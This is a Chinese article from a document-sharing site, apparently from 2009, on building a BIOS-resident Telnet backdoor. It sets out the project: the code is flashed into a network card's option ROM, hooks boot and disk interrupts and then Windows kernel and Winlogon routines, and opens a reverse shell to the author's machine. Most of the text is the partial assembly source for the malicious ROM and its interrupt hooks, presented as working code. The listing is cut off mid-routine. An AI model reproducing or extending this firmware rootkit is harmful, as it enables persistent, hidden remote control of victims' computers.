BIOS中隐藏Telnet后门.docx
- 文档编号:7204694
- 上传时间:2023-05-11
- 格式:DOCX
- 页数:17
- 大小:25.16KB
BIOS中隐藏Telnet后门.docx
《BIOS中隐藏Telnet后门.docx》由会员分享,可在线阅读,更多相关《BIOS中隐藏Telnet后门.docx(17页珍藏版)》请在冰点文库上搜索。
BIOS中隐藏Telnet后门
BIOS中隐藏Telnet后门
创建时间:
2009-03-19
文章属性:
原创
文章提交:
cheng5103(cheng_5103_at_)
[项目简述]
该项目仅为实验性项目,目的是学习国外技术。
该项目主要目的是想隐藏一个Telnet后门
在主板的BIOS内,并让其随着计算机系统及操作系统成功的运行起来。
运行后能反向Telnet连
接到指定的计算机接受CMD控制。
[关于作者]
姓名:
成松林QQ:
179641795Email:
cheng_5103@本人对计算机的诸多技术都很
有兴趣,常喜欢学习国外的开源项目,很佩服国外的计算机技术及知识。
本人学历:
中专,专
业:
计算机,年龄:
25,工作:
中专学业完成后留校工作。
废话:
本人家景很穷,所以大学都
未上成就工作,希望有志人士能教小弟赚钱。
我文才很差,故文章中有语法及表达问题请大家
多多谅解。
[项目涉及的相关知识及技术标题]
1、实验环境配置问题。
2、刷新BIOS技术问题。
3、代码植入BIOS问题。
4、源代码的相关问题:
A、如何编写BIOS模块如:
PCI、ISA。
B、实模式关于HOOK磁盘中断的问题。
C、磁盘中断中选择再次HOOK的问题。
D、NT保护模式下设置物理地址映射。
E、NT保护模式下线性地址寻址问题。
F、HOOKKeAddSystemServiceTable。
G、HOOKNtUserRegisterClassExWOW。
H、HOOKWinlogonSASWndProc过程。
I、在SASWndProc收到WM_CREATE消息建立线程运行TelnetShellCode。
5、源代码的其他技术:
A、IVThookInLineHook SSDTHook
B、SEH PE PEB TIB
C、HashSharedUserDataCheckSum
6、......
文章内容会在朋友的网站(51cto)上发布,文章还未整理好,相关的工具及相关的源代码会在以后整理发布.
以下源代码采用编辑工具MASMPlus,直接拷贝到这里可能有格式上的问题,做了简单的调整!
调试了几台我这儿的计算机,以网卡8139PCI模块加入BIOS刷入芯片,在调试计算机上安装
win2k/xp/2003及操作系统运行后,以下源代码都能正常的反向连接到我指定的计算机上.
.586p ;编译工具:
ML/AT*.asmML(masm)版本6.11,BIOS中隐藏Telnet后门.
.ModelTiny ;作者:
成松林,QQ:
179641795,Emil:
cheng_5103@.实现源代码.
;*****************************************************************************************************************************************ROM_IMAGE_SIZE equ4 ;整个模块大小单位KB,固定大小4KB.
CSL_KERNEL_DEST equ0FFDF0800h ;SharedUserData数据结构线性地址.
CSL_USER_BACKDOOR equ07FFE0800h ;SharedUserData数据结构线性地址.
;*****************************************************************************************************************************************RealCodesegmentuse16
Code16Start:
;***************************************************************************************************************************************** org 00h ;####注意:
置代码开始地址以便于确定定置.####,****设置开始偏移:
000h****
dw 0AA55h ;####注意:
ROM头格式标识可以生气独立ROM.####,****标识开始偏移:
000h****
db ROM_IMAGE_SIZE*2 ;####注意:
ROM长度(单位:
512B,块)最小8块.####,****长度开始偏移:
002h****
jmp MyROMCodeStart ;####注意:
修改ROM模拟跳转指令到这里执行####,****指令开始偏移:
003h****
org 06h ;####注意:
编译器根据偏移长度选择JMP命令####,****JMP[rel16]长:
003h****
ReturnOldROM:
;####注意:
把数据放在头部以便于确定位置.####,****标识开始偏移:
006h****
db 0e9h,0,0 ;####注意:
执行完跳转到旧的ROM代码跳转处####,****指令数据偏移:
007h****
db 'CHKSUM=',0 ;####注意:
填写我们修改后的ROM数据检验和####,****数据偏移地址:
010h****
;***************************************************************************************************************************************** org 18h ;编译成支持PCI设备的模块:
PCIROM固定大小4KB,其他参看"PCI2.2规范"教程
dd 34001ch,52494350h,813910ech,180000h,200h,2010008h,8000h,506e5024h,201h,6500h,0,20000h,6400h,0,0;硬件realtekPCI8139网卡
;*****************************************************************************************************************************************MyROMCodeStart:
pushf
pushad
push es
push ds
sti ;打开中断,以便接收键盘输入.
mov cx,0ffffh ;等待,约为两二秒的按键消息.
call WaitPressScrollKey
.if !
CARRY?
;若按下ScrollLock键,不运行我们的程序.
;***************************************************************************************************************************************** xor ax,ax
mov es,ax
mov eax,es:
[19h*4]
mov es:
[84h*4],eax ;借用中断向量84H,保存中断向量19H.
mov bx,es:
[413h] ;40:
13,BIOS数据区保存常规的内存大小,单位:
KBs.
and bl,NOT3 ;注意:
要求分配的物理内存地址,以页作为基地址.
sub bx,4
mov es:
[413h],bx
shl bx,(10-4) ;bx*=1024/16(KBs->线性地址=KBs*1024,段:
除以16)
mov es,bx
xor di,di ;es:
di->分配的实模式高端内存前半部分开始处.
push cs
pop ds
call GetCurrentAddr ;offsetCode16End=offsetCode32Start
GetCurrentAddr:
pop si ;si->GetCurrentAddr在内存的地址
mov dx,si
add si,Code16End-GetCurrentAddr ;ds:
si->Code16End保护模式代码段内存的地址.
cld
mov cx,((ROM_IMAGE_SIZE/2)*1024)/4 ;拷贝保护模式代码数据到分配内存的前半部分.
rep movsd
add bx,100h
mov es,bx
xor di,di ;es:
0->分配的实模式高端内存后半部分开始处.
mov si,dx
sub si,GetCurrentAddr-Code16Start ;ds:
si->Code16Start实模式代码的内存的地址.
mov cx,((ROM_IMAGE_SIZE/2)*1024)/4 ;拷贝 实模式代码数据到分配内存的后半部分.
rep movsd
xor bx,bx
mov ds,bx
add dx,NewINT19H-GetCurrentAddr ;dx->NewINT19H内存的地址
mov ds:
[19h*4],dx
mov ds:
[(19h*4)+2],es ;设置成我们的INT19H服务代码
;***************************************************************************************************************************************** .endif
pop ds
pop es
popad
popf
;jmp ReturnOldROM ;跳转到原来的ROM代码的跳转处执行
retf
;*****************************************************************************************************************************************WaitPressScrollKey:
;函数入口:
CX=350约为10ms,函数延时:
33(us)
push ax
.repeat
in al,60h
.if al==46h ;ScrollLock键扫描码:
46h
stc
pop ax
ret
.endif
in al,61h
test al,010h
.continue.if !
ZERO?
.repeat
in al,61h
test al,10h
.until !
ZERO?
dec cx
.untilcx==0
clc
pop ax
ret
;*****************************************************************************************************************************************NewINT19H:
pushf
;cli
push eax
push es
;jmp $ ;bochs调试1#.
xor ax,ax
mov es,ax
mov eax,es:
[84h*4]
mov es:
[19h*4],eax ;恢复中断向量19H值.
mov eax,es:
[13h*4]
.if es:
[85h*4]!
=eax
mov es:
[85h*4],eax ;借用中断向量85H,保存中断向量13H.reservedforBASIC82h~85h
mov wordptres:
[13h*4],NewINT13H ;设置NewINT13H在内存的地址.
mov es:
[(13h*4)+2],cs ;设置成我们的INT13H服务代码
.endif
pop es
pop eax
popf ;恢复现场
int 84h ;调用旧的中断向量19H.
iret
;*****************************************************************************************************************************************NewINT13H:
pushf ;有指令要改变标志寄存器值.
test ah,0bdh ;是不是读数据到内存?
ah=02,ah=42h.
.if !
ZERO?
;ZF=0
popf
int 85h ;调用旧的中断向量13H.
iret
.endif
mov wordptrcs:
[INT13LASTFUNCTION],ax
popf
int 85h ;调用旧的中断向量13H.
.if CARRY?
;CF=1,读失败退出服务
iret
.endif
pushf
;cli
push es
pushad
;jmp $ ;bochs调试2#.可输入指令:
ucs:
ip+2.观察INT13LASTFUNCTION的值.
mov ax,00h
INT13LASTFUNCTIONEQU$-2
.if ah==42h
lodsw
lodsw ;参看"扩展INT13H规范"ds:
[si+2]指传输块数.
les bx,[si] ;ds:
[si+04h]表示:
传输用的缓冲区内存地址.
.endif
.if al!
=00h
xor cx,cx
mov cl,al
mov al,8Bh ;设置搜索标志的第一个字节.
shl cx,9 ;(CX*200h)搜索搜索计数.
mov di,bx ;8BF085F67421803D:
MOVESI,EAXTESTESI,ESIJZ$+23hCMPB
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- BIOS 隐藏 Telnet 后门
![提示](https://static.bingdoc.com/images/bang_tan.gif)